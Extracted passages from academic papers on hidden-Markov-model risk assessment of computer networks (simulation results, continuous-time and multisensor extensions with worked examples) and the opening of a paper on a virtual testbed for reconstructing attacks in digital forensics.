We assume that the router and file servers are configured to be relatively secure (i.e., the
transition probabilities to state C are small), and that the laptops, workstations and web servers
are particularly susceptible to attacks (i.e., the transition probabilities to state A are relatively
high). All assets, with the exception of the router, are monitored by a network intrusion detection
system (NIDS) and a host intrusion detection system (HIDS), as generalized by SensorProfiles.
The router is only monitored by a NIDS. The observation symbols sets are the same for both the
NIDS and the HIDS: V NIDS = V HIDS = {φ, a, c}, where symbol a is an indication of state A, c
an indication of state C, and φ (the “null” observation) an indication of the good state G. In the
examples beneath, we differentiate between λgen, the underlying HMM that generates the true state
transitions of an asset and controls the behavior of its sensors, and λest, the estimated HMM used
in the risk assessment procedure. As pointed out in Section 3.3, the choice of an appropriate time
interval is essential. For the purpose of this simulation, we use ∆ = 1 s.
Figure 2: Overview of example network topology.
We present two simulation experiments, based on randomly generated state sequences and cor-
responding observation messages, according to λgen. Both simulations have a time-span of 24 hours
(86400 s.). The cost value vectors C = (C(G), C(A), C(C)) for the assets are Crouter = (0, 4, 8),
Cwebserver = (0, 3, 6), Cfileserver = (0, 1, 10), Cworkstation = (0, 2, 4) and Claptop = (0, 1, 2), so that the
total maximum risk for the network is Rt = 100. The HMM model parameters P, Qk, and pi for
the assets and sensors have been assigned manually. Algorithms for estimating and learning these
parameters are needed, but this is not considered in this paper.
5.1 Example A: Risk Assessment with Known HMM Parameters
In the first example, λest = λgen for all assets and sensors, i.e., we use the same HMM both for
generating state transitions and observations and for assessing the current risk. In other words,
the risk-assessment in this example is based on perfect knowledge of the state and observation
generation parameters. This is obviously not a realistic scenario, but it allows us to study the
performance of the method under optimal circumstances. As an example of the model parameters
used in the simulation experiment, the HMM parameters used for the NIDS SensorProfile and
the router AssetProfile are
QNIDSrouter−gen =
qG(φ) qG(a) qG(c)qA(φ) qA(a) qA(c)
qC(φ) qC(a) qC(c)
 =
0.6 0.2 0.20.2 0.5 0.3
0.1 0.1 0.8
 , pirouter−gen = (piG, piA, piC) = (1, 0, 0),
Prouter−gen =
pGG pGA pGCpAG pAA pAC
pCG pCA pCC
 =
0.800000 0.199995 0.0000050.700000 0.299995 0.000005
0.000005 0.000005 0.999990
 .
The laptops, workstations and web servers are likely to get compromised early on during the
simulation, whereas the file servers and the router are more resistant to successful attacks. Fig. 3(a)
depicts the assessed risk for the network described above, simulated over a period of 24 hours (86400
s.). All hosts are assumed to start in the state G, i.e., pi = (1, 0, 0) for all assets. Naturally, the
development of the network risk varies between simulation executions, as the state generation is
probabilistic. Since all assets have a close to absorbing state C, the risk level tends to increase over
time, approaching the total maximum risk level.
Based on a comparison between the estimated risk level (see Fig. 3(a)) and the true risk level
(see Fig. 3(b)), it is possible to compute the correlation coefficient as a measure of the degree to
which the two data sets correlate. Based on 20 simulation runs, the mean correlation coefficient
is 0.969 with variance 0.0003 and standard deviation 0.0179. This indicates that the estimation is
highly accurate with a high certainty. This is to be expected, as the HMM parameters are known
in advance (i.e., λest = λgen).
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Figure 3: Assessed and true risk for Example A.
5.2 Example B: Risk Assessment with Estimated HMM Parameters
We now assume that the exact HMM parameters used to generate the state transitions and produce
observation messages, λgen, is unknown, and the HMM parameters for the risk assessment, λest,
have to be estimated. In this way, we can study the systems ability to assess risk under inaccurate
estimation parameters, i.e., when λest 6= λgen. An example of the estimated parameters is
QNIDSrouter−est =
0.950 0.030 0.0200.050 0.900 0.050
0.020 0.020 0.960
 , pirouter−est = (0.7, 0.2, 0.1),
Prouter−est =
0.700 0.200 0.1000.500 0.450 0.050
0.002 0.002 0.996
 .
Note that in order to make the results of the two simulation experiments comparable, the
parameters used for state generation and for producing observation messages in this example (λgen)
are identical to the ones in the previous example.
Fig. 4(a) shows the assessed risk when using the estimated λest, and Fig. 4(b) shows the true
risk generated during the simulation according to λgen. Fig. 5(a)-5(b) show the same results, but
for a shorter period of time (30 min.). By comparing these graphs, it is possible to see how close the
assessed risk value is to the true risk level of the network. Although the estimation parameters in
λest differ from the underlying HMM λgen, one can conclude from Fig. 4(a)-5(b) that the estimated
risk generally follows the true risk. Note that the reason why the estimated risk is higher than the
true risk during the first 60 s. of the simulation (Fig.6(a)-6(b)) is the inaccurate estimated initial
state distributions piest for the assets. However, as can be seen in Fig. 4(a)-4(b), the total risk value
for the network will approach the true risk value over time, regardless of the initial states of the
assets.
Based on 20 simulation runs with the same model parameters, the mean correlation coefficient
for the estimated risk value in this example is 0.777, with variance 0.010 and standard deviation
0.102. Compared to the previous example, the correlation coefficient is lower, but it still indicates
a high positive correlation. Note that the variance and the standard deviation are higher than in
the previous example.
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Figure 4: Assessed and true risk for Example B (24 h)
 0
 20
 40
 60
 80
 100
 0  200  400  600  800  1000  1200  1400  1600  1800
R
i s
k
Time (s)
(a) Assessed risk based on estimated parame-
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Figure 5: Assessed and true risk for Example B (30 min)
6 Conclusion and Further Work
In this paper, we demonstrate how hidden Markov models can be used to perform real time risk as-
sessment of large-scale computer networks. Under the Markov assumption, we model and simulate
the risk level of a large number of assets, based on a predefined state transition model with corre-
sponding HMM parameters for each asset and sensor. The simulations indicate that the method
provides insightful results about the security state and the risk level of hosts in a network, even
when the estimated model parameters are inaccurate.
Although the initial approach described in [1] has been significantly extended, there are still
some open research questions that remain to be solved. A natural extension of this work is to
perform analysis based on real network data. The possibility of modeling asset interdependencies
must be considered. For the proposed approach to be useful in practice, a method for automated
parameter reestimation is needed. Finally, the simulation framework could be extended to simulate
different types of threats and attackers, in order to study the performance of the proposed method
in a more realistic context.
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Figure 6: Assessed and true risk for Example B (60 s)
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A Computing the State Distributions
In this appendix we explain the background of Alg. 1 and 2, i.e., how the security state probabilities of an
asset can be estimated. Note that the computations are independent of the sensor type, hence, the k index
has been omitted from the equations in this appendix.
Recall the sequence of observed messages Y = y1, y2, . . .. Given the first observation y1 and the hidden
Markov model λ = (P,Q, pi), the initial estimated state distribution γ1(i) can be calculated as
γ1(i) = P (x1 = si|y1, λ) = P (y1, x1 = si|λ)
P (y1|λ) =
P (y1|x1 = si, λ)P (x1 = si|λ)
P (y1|λ) . (2)
To find the denominator, one can condition on the first visited state and sum over all possible states
P (y1|λ) =
N∑
j=1
P (y1|x1 = sj , λ)P (x1 = sj |λ) =
N∑
j=1
qj(y1)pij . (3)
Hence, by combining (2) and (3)
γ1(i) =
qi(y1)pii∑N
j=1 qj(y1)pij
, (4)
where qj(y1) is the probability of observing symbol y1 in state sj , and pi is the initial state probability. To
simplify the calculation of the state distribution after t observations we use the forward-variable
αt(i) = P (y1 · · · yt, xt = si|λ), (5)
as defined in [10]. By using recursion, this variable can be calculated in an efficient way as
αt(i) =
{
qi(y1)pii, t = 1
qi(yt)
∑N
j=1 αt−1(j)pji, t > 1
(6)
where the initial forward variable α1(i) was found from (2) and (4) In the derivation of αt(i) we assumed
that yt only depend on xt and that the Markov property holds. Now we can use the forward variable αt(i)
to update the state probability distribution by new observations. This is done by
γt(i) = P (xt = si|y1 · · · yt, λ) = P (y1 · · · yt, xt = si|λ)
P (y1 · · · yt|λ)
=
P (y1 · · · yt, xt = si|λ)∑N
j=1 P (y1 · · · yt, xt = sj |λ)
=
αt(i)∑N
j=1 αt(j)
.
(7)
Note that (7) is similar to Eq. 27 in [10], with the exception that we do not account for observations that
occur after t.
Appendix N
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Abstract
The use of tools for monitoring the security state of as-
sets in a network is an essential part of network manage-
ment. Traditional risk assessment methodologies provide
a framework for manually determining the risks of assets,
and intrusion detection systems can provide alerts regard-
ing security incidents, but these approaches do not provide
a real-time high level overview of the risk level of assets.
In this paper we further extend a previously proposed real-
time risk assessment method to facilitate more flexible mod-
eling with support for a wide range of sensors. Specifically,
the paper develops a method for handling continuous-time
sensor data and for determining a weighted aggregate of
multisensor input.
1. Introduction
With the complexity of technologies in todays society,
we are exposed to an increasing amount of unknown vul-
nerabilities and threats. For a system or network admin-
istrator, it is vital to have access to automated systems for
identifying risks and threats and for prioritizing security in-
cidents. In this paper we study and extend a previously pro-
posed system for real-time risk assessment. The proposed
system computes a quantitative risk measure for all assets
based on input from sensors such as network-based intru-
sion detection systems (IDS). The approach was first pro-
posed in [1], and it has been validated using real-life data
in [2]. During this work, several open research issues have
been identified. There is a need for more flexible security
state modeling, and the wide range of potential sensor types
require different modeling schemes. In particular, a typi-
cal signature-based IDS can be much better modeled using
a continuous-time hidden Markov model (HMM) than the
discrete-time HMM in [1].
The contributions of this paper consist of a method for
continuous-time estimation using transition rates rather than
transition probabilities, as well as a method for computing
risk as a weighted sum of sensor input, taking into consid-
eration the fact that some sensors are statistically more reli-
able and significant than others.
In Section 2 we revisit the proposed risk assessment ap-
proach and provide explanations of the necessary terminol-
ogy. In Section 3 and 4 we present various ways of HMM
modeling for a flexible real-time risk assessment system,
with particular focus on continuous-time HMMs and the ag-
gregation of input from multiple sensors. In Section 5 we
discuss the results and provide directions for further work.
2. Real-time Risk Assessment
Risk assessment is typically a manual analysis process
based on standardized frameworks, such as those recom-
mended by NIST [7] and AS/NZS [6]. Such methodologies
are suitable for evaluating threats and vulnerabilities, but
they are not designed to support operational network man-
agement. A notable exception is the real-time risk assess-
ment system presented in [3], which introduces a formal
model for real-time characterization of the risk faced by a
host. In [1], we presented another real-rime risk assessment
system employing HMMs. An HMM enables the estima-
tion of a hidden state based on observations that are not
necessarily accurate. An important feature of this approach
is that it is able to model the probability of false positives
and false negatives associated with the observations. The
method is based on Rabiner’s work on HMMs [4]. This sec-
tion reviews the model presented in [1]. Some adaptations
have been introduced for the purpose of this paper.
The target of the risk assessment is a generic computer
network, consisting of assets. Unknown factors in such a
network may represent vulnerabilities that in turn can be ex-
ploited by a malicious attacker or computer program, caus-
ing unwanted incidents. The potential exploitation of a vul-
nerability can be described as threats to the assets. The risk
of the network is evaluated as the probability and conse-
quence of unwanted incidents. The consequences of an un-
wanted incident is referred to as the cost of the incident. As
in [1], we assume a multiagent system architecture consist-
ing of agents and sensors. A sensor typically refers to an
IDS, but it could be any information-gathering program or
device capable of collecting security relevant data, such as
logging systems, virus detectors, honeypots, and network
sniffers using sampling or filtering. The main task of a sen-
sor is to gather information about the security state of as-
sets and to send standardized observation messages to the
agents. An agent is responsible for performing real-time
risk assessment based on data collected from a number of
sensors. The multiagent architecture has been chosen for its
flexibility and scalability, in order to support future applica-
tions, such as distributed automated response.
Assume that the security of an asset can be modeled by
N states, denoted S = {s1, . . . , sN}. Due to security in-
cidents such as attack attempts and compromises, the secu-
rity state of an asset will change over time. The sequence
of states visited is denoted X = x1, . . . , xT , where xt ∈ S
is the state visited at time t. As in [1], we assume that the
state space can be represented by a fully connected Markov
model with the states G (good), A (under attack), and C
(compromised), i.e., S = {G,A,C}, as shown in Fig. 1.
State G means that the asset is up and running securely and
CG
A
Figure 1. Fully connected Markov model.
that it is not subject to any kind of attack activity. As an
attack against an asset is initiated, it will move to security
state A. An asset in state A is subject to an ongoing at-
tack, possibly affecting its behavior with regard to security.
Finally, an asset enters state C if it has been successfully
compromised by an attacker. It is then assumed to be com-
pletely at the mercy of an attacker and subject to any kind of
confidentiality, integrity, and/or availability breaches. The
risk-assessment method is general and independent of the
specific states used. Two alternative ways of modeling the
security states of assets are presented in Fig. 2(a) and 2(b).
In Fig. 2(a) we show how an asset can be represented by
three separate Markov models indicating the security state
with respect to confidentiality, integrity, and availability. In
Fig. 2(b) we show a left-right model, where the asset can
only transfer to a more serious state, with C as an absorb-
ing state.
The risk observation messages are provided by the K
sensors monitoring an asset, indexed by k ∈ {1, . . . ,K}.
An observation message from sensor k can consist of
any of the symbols in the observation symbol set V k =
{vk1 , . . . , vkM}. Different sensor types may produce obser-
vation messages from different observation symbol sets. We
assume that the observation messages are independent, i.e.,
an observation message will depend on the asset’s current
state only and not on any previous observation messages.
The sequence of messages received from sensor k is de-
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(a) A risk model consisting of tree sub-
models
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Figure 2. Alternative security state models.
noted Y kt = yk1 , . . . , ykt , where ykt ∈ V k is the observa-
tion message received from sensor k at time t. For the
purpose of this paper, we assume an observation symbol
set V k = {gk, ak, ck},∀k, corresponding to the states in
S = {G,A,C}. Based on the observation messages, an
agent performs real-time risk assessment. As one cannot
assume that it is possible to resolve the correct state of the
monitored assets at all times, the observation symbols are
probabilistic functions of the asset’s security state. The as-
set’s true state is hidden, consistent with the basic idea of
HMM [4].
For each sensor k monitoring an asset, there is an HMM
described by the parameter vector λk = (P,Qk, pi). P =
{pij} is the state transition probability distribution matrix
for an asset, where pij = P (xt+1 = sj |xt = si), 1 ≤
i, j ≤ N . Hence, pij represents the probability that the
asset will transfer into state sj next, given that its current
state is si. pi = {pii}i∈S is the initial state distribution for
the asset. Hence, pii = P (x1 = si) is the probability that si
was the initial state of an asset.
For each asset, there are K observation symbol proba-
bility distribution matrices, one for each sensor. Each row
i in the observation symbol probability distribution matrix
Qk = {qki (m)} is a probability distribution for an asset in
state si over the observation symbols from sensor k, whose
elements are qki (m) = P (ykt = vkm|xt = si), 1 ≤ i ≤
N, 1 ≤ k ≤ K, 1 ≤ m ≤ M . The element qki (m) in Qk
represents the probability that sensor k will send the obser-
vation symbol vkm at time t, given that the asset is in state
si at time t. Qk therefore indicates sensor k’s false-positive
and false-negative effects on the agents risk assessments.
The pi vector and the P matrix describe the initial state
and the security behavior of an asset, and they must be the
same for all sensors monitoring the same asset. Since each
sensor may produce a unique set of observation symbols,
the Qk matrix depends on the sensor k. For each sensor the
agent updates the probability distribution γkt = {γkt (i)},
where γkt (i) = P (xt = si|Y kt ), by using the method pre-
sented in [1]. In [1], the risk of an asset was then evaluated
asRkt =
∑N
i=1 γ
k
t (i)C(si), where t is the time of the evalu-
ation, k is the sensor used, and C(si) describing the cost due
to loss of confidentiality, integrity, and availability for each
state of an asset. In Section 4 we present a new method for
multisensor assessment using a weighted sum of the results
from multiple sensors.
3. Continuous-time Markov Chains
There is a multitude of sensors that can provide secu-
rity relevant information, such as IDS, network logs, net-
work traffic measurements, virus detectors, etc. In our pre-
vious work, we have only considered the use of discrete-
time HMMs, but we have seen the need for continuous-
time HMMs allowing for transition rates rather than proba-
bilities. The two HMM types complement each other, and
they are suitable for different types of sensors. Let us con-
sider some example sensor types. A signature based IDS
matches network traffic (network IDS) or host activity (host
IDS) with signatures of known attacks and generates alerts.
Virus detection systems use a similar technique. The alert
stream of a signature based IDS is typically highly varying,
and a continuous time HMM approach is preferable. An
active measurement systems can be used to perform period-
ical measurements of the availability of hosts and services,
for example based on delay measurements. Such a mea-
surement system is an example of an active sensor suitable
for a discrete-time HMM that is updated periodically. An
anomaly based IDS uses statistical analysis to identify devi-
ation from a behavior that is presumed to be normal. Such a
sensor could be used with either a continuous- or a discrete-
time model. If the sensor is used to produce alerts in case of
detected anomalies, it can be used in a fashion similar to the
signature based sensors. If the sensor is used to compute a
measure of the normality of a network or system, it can be
used as a basis for periodic computations using a discrete
time model.
We assume that a continuous-time Markov chain
(x(t), t ≥ 0) can be used to model the security of an asset.
The model consists of the set of states S = {s1, . . . , sN},
the initial state distribution pi, and a transition rate matrix
Λ = {λij}, 1 ≤ i, j ≤ N . When the system is in state
si, it will make λij transitions to state sj per time unit. The
time spent in state si is exponentially distributed with mean
u−1i (sojourn time), where ui =
∑
j 6=i λij is the total rate
out of state si. The rate in and out of a state must be equal
and therefore
∑
j λij = 0, where λii = −ui represent the
rate of transitions into state si. The new HMM for sensor k,
based on the transition rates, is then λk = (Λ,Qk, pi).
The time between observations is not constant, so
for each new observation, a transition probability matrix
P(∆t) = {pij(∆t)} have to be calculated, where ∆t is
the time since last observation was received. Suppose that
the process x(t) is in state si at time t, then the probabil-
ity that the process is in state sj at time t + ∆t is given by
pij(∆t) = P (x(t + ∆t) = sj |x(t) = si). If the transi-
tion probability from state si to sj is independent of t, the
process is said to be a homogeneous Markov process. The
transitions probability matrix P(∆t) can be calculated by
P(∆t) = eΛ∆t ,
and approximated by
P(∆t) ≈ lim
n→∞
(
I+Λ
t
n
)n
. (1)
More details on computing the transition probability matrix
can be found in [5], pages 388 – 389.
Example 1 Consider a network with continuous-time sen-
sors monitoring a central server. Through a manual risk as-
sessment process, the administrators have estimated the ini-
tial state distribution and the transition rates for the system
per day. Given a set of states S = {G,A,C}, the transition
rate matrix is set to
Λ =
 λGG λGA λGCλAG λAA λAC
λCG λCA λCC
 =
 −1.1 1.0 0.14 −5 1
3 1 −4
 .
As noted above, the values indicate the transition rate per
day. However, the numbers in the diagonal of the matrix
is the rate into the state, which is equal to the sum of the
rates out of the state. The first row represents the rates in
and out of state G, indicating that the rate of transitions to
state A (1 transition per day) is greater than the rate of tran-
sitions to state C (0.1 transitions per day). The bottom row
of the matrix represents state C, and it indicates that the
most probable development is a return to state G due to a
successful repair.
First, we calculate the rate at which the system leaves
each state
uG = λGA + λGC = 1 + 0.1 = 1.1 = −λGG,
uA = λAG + λAC = 4 + 1 = 5 = −λAA,
uC = λCG + λCA = 3 + 1 = 4 = −λCC .
From this we can calculate the sojourn time for each state
u−1G =
10
11
, u−1A =
1
5
, u−1C =
1
4
.
If observations are received at t0, t1, t2, t3 =
0, 0.01, 0.11, 0.13, we have to calculate the time be-
tween successive observations ∆l = tl − tl−1. This
gives
∆1,∆2,∆3 = 0.01, 0.1, 0.02.
If we apply Equation 1 for computing the transition prob-
abilities, using n = 210 = 1024 in the approximation, we
get the following transition matrix
P(∆1) = P(0.01) =
 0.9893 0.0097 0.00100.0390 0.9515 0.0096
0.0294 0.0097 0.9609
 ,
P(∆2) = P(0.1) =
 0.9133 0.0752 0.01140.3102 0.6239 0.0659
0.2497 0.0752 0.6750
 ,
P(∆3) = P(0.02) =
 0.9133 0.0752 0.01140.3102 0.6239 0.0659
0.2497 0.0752 0.6750
 .
We see from the matrices above that the probability of trans-
ferring to another state increases as the period between ob-
servations ∆ increases. For the special case ∆ = 0, the
probability of staying in the same state would be 1. Further-
more, we can see from the matrices that the rows sums to 1,
as expected for a probability distribution. The computations
were performed in Matlab. Only 10 matrix multiplications
were necessary in order to compute a matrix to the power
of 1024.
4. Multisensor Quantitative Risk Assessment
Following the terminology in [6], risk can be measured
in terms of consequences and likelihoods. A consequence is
the qualitative or quantitative outcome of an event, and the
likelihood is the probability of the event. To perform risk
assessment, we need a mapping: C : S → R, describing the
cost due to loss of confidentiality, integrity, and availability
for each state of an asset.
The risk Rt = E[C(xt)] is the expected cost at time t,
and it is a function of the hidden state xt of an asset. The
only information available about xt is the distribution γt
estimated by the HMM. The risk Rkt estimated by sensor k
is based on the observations Y kt from sensor k
Rkt = E[C(xt)|Y kt ] =
N∑
i=1
γkt (i)C(si),
and the estimated variance σ2t (k) of Rkt is
σ2t (k) = V ar[Rkt ] =
N∑
i=1
γkt (i)(C(si)−Rkt )2.
A new estimate of the risk R0t based on observations from
all the K sensors, is formed by taking a weighted sum of the
estimated risk from each sensor. Assuming the estimated
risk from each sensor to be unbiased and independent ran-
dom variables, we can then use the inverse of the variance
as weights to get an unbiased minimum variance estimator
of the risk. This can be shown by applying the Lagrange
multiplier method.
R0t = E[C(xt)|Y 1t , Y 2t , . . . Y Kt ]
=
∑K
k=1(σ
2
t (k))
−1Rkt∑K
k=1(σ
2
t (k))−1
, (2)
and the variance σ2t (0) of R0t can be estimated as follows
σ2t (0) = V ar[R0t ] =
1∑K
k=1
1
σ2t (k)
. (3)
A derivation of equation 3 is shown in Appendix A.
Example 2 Consider the same network as in Example 1.
Assume that the server is monitored by two different sensors
with the following states and cost values
S = {G,A,C},
C = (C(G), C(A), C(C)) = (0, 5, 20).
At time t, assume that the two HMMs of the two sensors
have the following estimated state distributions
γ1t = (0.90, 0.09, 0.01),
γ2t = (0.70, 0.20, 0.10).
We are interested in finding an estimator for the risk of the
monitored asset based on the input from the two sensors.
As this estimator should have as little variance as possible,
we wish to give more weight to the sensor with the best es-
timate, i.e., the sensor with the least variance. The weight
is computed as the inverse of the variance from the two sen-
sors. We compute the mean and variance of the risk from
each sensor
R1t = 0.9× 0 + 0.09× 5 + 0.01× 20 = 0.650,
R2t = 0.7× 0 + 0.2× 5 + 0.1× 20 = 3.000,
σ2t (1) = 0.9(0− 0.65)2 + 0.09(5− 0.65)2
+ 0.01(20− 0.65)2 = 5.826,
σ2t (2) = 0.7(0− 3)2 + 0.2(5− 3)2 + 0.1(20− 3)2
= 36.00.
We now combine the risk from each sensor to get a mini-
mum variance estimate of the risk
R0 =
1
5.8275
0.65 +
1
36
3
1
5.8275
+
1
36
= 0.977,
σ2t (0) =
1
1
5.8275
+
1
36
= 5.016.
We see that the mean for the weighted risk is close to the
mean for sensor 1. This is intuitive, as sensor 1 has the least
variance. We can also see that the variance of the weighted
risk is smaller than that of the individual sensors.
5. Conclusions and Further Work
We have addressed several issues to improve the pro-
posed method for real-time risk assessment. The rate-based
assessment is proposed as an alternative for some com-
mon sensors, and the weighted multisensor risk assessment
method provides a mechanism for integrating sensors with
varying accuracy and reliability into the system. The mech-
anisms proposed in this paper should be implemented and
tested using real-life data and simulations, as previously
done in [2]. Another issue that still remains is the prob-
lem of parameter estimation and learning. It is possible to
set the model parameters using expert knowledge, but this is
a cumbersome process, and it would be preferable to auto-
mate the process of estimating and learning the parameters.
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A. Risk Variance
The variance σ2t (0) of R0t given by Equation 2, can be
derived as follows
σ2t (0) = V ar[R0t ]
=
K∑
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
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1
σ2t (k)
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Abstract. This paper presents ViSe, a virtual security testbed, and
demonstrates how it can be used to efficiently study computer attacks
and suspect tools as part of a computer crime reconstruction. Based on
a hypothesis of the security incident in question, ViSe is configured with
the appropriate operating systems, services, and exploits. Attacks are
formulated as event chains and replayed on the testbed. The effects of
each event are analyzed in order to support or refute the hypothesis. The
purpose of the approach is to facilitate reconstruction experiments in dig-
ital forensics. Two examples are given to demonstrate the approach; one
overview example based on the Trojan defense and one detailed example
of a multi-step attack. Although a reconstruction can neither prove a
hypothesis with absolute certainty, nor exclude the correctness of other
hypotheses, a standardized environment, such as ViSe, combined with
event reconstruction and testing, can lend credibility to an investigation
and can be a great asset in court.
1 Introduction
Digital forensics is gaining importance with the increase of cybercrime and fraud
on the Internet. Tools and methodologies for digital forensics with the sound-
ness necessary for presentation in court are in high demand. In this paper, we
describe the use of the Virtual Security Testbed (ViSe) [1] as a tool in digital
forensic reconstruction. We present a testbed and methodology for testing com-
puter attack tools, as a digital analogy to testing evidence dynamics in physical
forensics. The basic idea is to provide an infrastructure where specific attacks
can be studied in a way similar to testing the ballistics of a firearm in order to
establish its properties. The goal of this approach is to be able to perform test-
ing in a forensically sound manner such that the test results may be presented
in court, supporting or refuting a hypothesis regarding a particular sequence of
events.
The traditional focus in digital forensics has been on identification, acquisi-
tion, and analysis of evidence, using toolkits such as EnCase [2], ILook [3], and
Sleuthkit [4]. These toolkits support operations like the recovery of deleted files,
string searches, and searches for known files. Recently, there has been an increas-
ing interest in more sophisticated methodologies for forensic analysis, including
crime scene reconstructions and studies of evidence dynamics. In this paper, we
develop a method for experimental testing in digital forensic reconstructions.
Central to the discussion is the trade-off between the desired detail of the
reconstruction and the difficulty of performing the reconstruction experiments.
The approach taken in this paper is to study the most significant aspects of a
digital crime or a suspect tool using minimal resources in terms of time and
equipment. Other approaches, such as physical testbeds or simulations, may be
more useful in some cases, as discussed in Section 7.
This paper is organized as follows. Section 2 presents background information
about the forensic methodology of crime scene reconstruction and various types
of testbeds, as well as some related work. Section 3 presents the terminology
and methodology used in this paper. Section 4 provides a detailed description of
the security testbed ViSe, as well as a discussion of the use of virtualization in
security and forensic testing. Sections 5 and 6 provide examples of the approach
based on the Trojan defense and a multi-step attack, demonstrating how ViSe
can be applied to digital forensic reconstruction testing. Some considerations of
the approach are discussed in Section 7, and the paper is concluded in Section 8.
2 Background
In this section, we present the forensic methodology of crime scene reconstruc-
tions, a discussion of different types of testbeds, as well as an overview of related
work.
2.1 Crime Scene Reconstruction
Crime scene reconstruction (or crime reconstruction) 3 is a fairly new develop-
ment in forensic science, as discussed in [5, 6]. The purpose of the method is
to determine the most probable hypothesis or sequence of events by applying
the scientific method to interpret the events that surround the commission of a
crime [6]. The basic approach is to state the problem, form a hypothesis, col-
lect data, test the hypotheses, follow up on the most promising hypothesis, and
finally draw conclusions supported by admissible evidence. The analysis may
involve the use of logical reasoning [6] and statistical analysis [7, 8], as well as
domain knowledge about people, criminology, etc. The conclusions of a crime
scene reconstruction are usually given with a level of certainty associated with
the different hypotheses, indicating the level of evidentiary value.
3 Note that a crime reenactment is unrelated to a crime scene reconstruction.
Carrier and Spafford have proposed an “event-based digital forensic investi-
gation framework” [9] and a method for “event reconstruction of digital crime
scenes” [10]. They propose a five step process:
1. Evidence examination: a full examination of the evidence aimed at identify-
ing and characterizing evidence relevant to an incident.
2. Role classification: examine the role of the evidence as a cause or effect of
one event.
3. Event construction and testing: identification of events based on the available
evidence and testing of whether the events are possible.
4. Event sequencing: the linking of multiple events into event chains.
5. Hypothesis testing: the hypotheses about the incident are tested.
In this paper, we discuss a way to test events in a forensically sound man-
ner using an isolated virtual environment (ViSe). A hypothesis is made based
on available digital evidence and then tested in the ViSe virtual testbed. The
hypothesized attack is replayed, and an analysis of all available data (storage
media and volatile memory of all involved hosts, as well as network traffic) may
support or refute the hypothesis. In this way, we show how replaying events in a
virtual environment can help identify the causes, effects, and internal workings of
simple or multi-step attacks. Using Carrier and Spafford’s model, this approach
may be seen as part of the event construction and testing, but it is primarily
directed at performing experiments related to the event sequencing. We refer to
this as a reconstruction experiment.
2.2 On Testbeds
We can group testbeds for performing reconstruction experiments into physical
testbeds, virtual testbeds, and simulated testbed. With physical testbeds, one
tries to create a testbed that is as close to identical as possible to the crime
scene in terms of hardware and software configurations. This is obviously an
expensive and resource demanding approach, but it may be necessary for some
reconstructions.
A virtual testbed uses virtualization software to emulate the digital crime
scene. The entire crime scene, including hosts and networks, can be emulated on
a single host. This approach has significant advantages over a physical testbed in
terms of resource use and efficiency, but there are some experiments that cannot
reliably be reproduced on virtual testbeds.
If the reconstruction is complex and involves a high number of hosts and
events, a useful approach can be to model and simulate the events. This approach
can be useful when investigating e.g., worm attacks and DDoS attacks. The
advantage of this method is that it can focus on the most relevant mechanisms
of an attack. However, this method cannot approach the level of detail provided
by physical and virtual testbeds.
2.3 Related Work
Formal frameworks for the reconstruction of digital crime scenes are discussed
by Stephenson [11] and Gladyshev and Patel [12]. Stephenson uses a Petri Net
approach to model worm attacks in order to identify the root cause of an at-
tack. Gladyshev and Patel present a state machine approach to model digital
events. Their approach uses a generic event reconstruction algorithm and a for-
mal methodology for reconstructing events in digital systems. In contrast, our
approach sets up a virtual digital crime scene in order to replay the digital
events in a realistic fashion. Therefore, our approach is complimentary to those
of Stephenson, Gladyshev, and Patel.
A significant challenge in digital forensics is to achieve automated evidence
analysis and automated event reconstruction. Stallard and Levitt [13, 14] have
proposed an expert system using a decision tree to search for violations of known
assumptions about data relationships, and Abbott, Bell, Clark, De Vel, and Mo-
hay [15] have proposed a framework for scenario matching in forensic investiga-
tions based on transaction logs with automated recognition of event scenarios
based on a stored event database. These approaches do not suggest replaying the
scenarios on a testbed, but the output of their systems could be used as a ba-
sis for realistic testing in ViSe. This would provide a far more thorough analysis
and a more convincing case in court. Elseasser and Tanner [16] have proposed an
automated diagnosis system that generates possible attack sequences based on
profiles of the victim host configuration and of the unauthorized access gained by
the attacker. The hypothesized attack sequences are simulated on a model of the
victim network, and a successful simulation indicates that the attack sequence
could feasibly lead to unauthorized access. Our approach performs the replay on
virtual systems rather than performing simulations, but the general approach
of hypothesis generation could be combined with our approach. Neuhaus and
Zeller [17] have recently proposed a method for automatically isolating processes
that are necessary for an intrusion to occur. They propose to capture system calls
on a live host and then replay these on a testbed. Their implementation, Malfor,
has proved able to identify both the root cause and all intermediate steps needed
to reproduce an attack. This approach is designed for real-time use, but it could
be combined with our approach to include system calls in the analysis and to
automate the reconstruction analysis.
Virtualization is frequently used in security research, primarily because of the
flexibility and the small resource requirements. As an example, [18] discusses the
use of VMware and the forensic tool SMART for recreating a suspect’s computer.
Our approach takes this idea further by emulating the entire digital crime scene
as part of a digital event reconstruction. Virtualization is also frequently used by
the honeypot community. Low-interaction honeypots, such as Honeyd [19], often
have built-in virtualization of services, whereas high-interaction honeypots, such
as honeynets [20], are often deployed using full operating system virtualization.
See also [21] for a discussion of the advantages and disadvantages of VMware in
the context of honeypots.
Recent security testbeds include LARIAT [22], LLSIM [23], Netbed [24], De-
ter [25], and vGrounds [26]. LARIAT is the first simulated platform for testing
intrusion detections systems, and LLSIM is its virtualized descendant. Netbed
is a simulation environment that served as the predecessor to Deter, a clus-
ter testbed. vGrounds is a virtual environment based on UML (User Mode
Linux) [27]. These testbeds provide large-scale simulation at the cost of the ac-
curacy and the number of operating systems and services supported. Section 7.3
discusses cases where this approach may be useful. ViSe supports more exact
system and network interaction on a wider range of operating systems. ViSe
images are provided in a large library of pre-configured attacks and vulnerable
services on common operating systems. ViSe also includes an IDS system to
identify the manifestations of an attack.
3 Terminology and Methodology
The digital crime scene can consist of a number of computing and storage de-
vices, as well as the network connecting them. We specifically consider that the
digital crime scene consists of a number of computer systems, divided into three
categories: namely attack hosts, victim hosts, and third-party hosts. The third-
party hosts may, for instance, include network or security services that perform
logging, or other service providers such as certification authorities. All evidence
is analyzed on analysis hosts, which are not part of the digital crime scene.
Digital evidence is any digital data that contains reliable information that
supports or refutes a hypothesis about an incident. Digital evidence may be
found on the hard drives or in the volatile memory of all the involved hosts,
as well as in captured network traffic, referred to as network dumps. A variant
of the network dump is preprocessed network traffic, such as network intrusion
detection system alert logs. All analysis is assumed to be performed on copies
of the evidence in order to preserve the integrity of the evidence.
An event e is an occurrence that changes the state of a computing system.
A crime or incident is an event that violates policy or law. An event chain
E = e1, . . . , en is a sequence of events with a causal relationship. The latter defi-
nitions are adopted from [9, 10]. Evidence dynamics is described in [5] to be “any
influence that changes, relocates, obscures, or obliterates physical evidence, re-
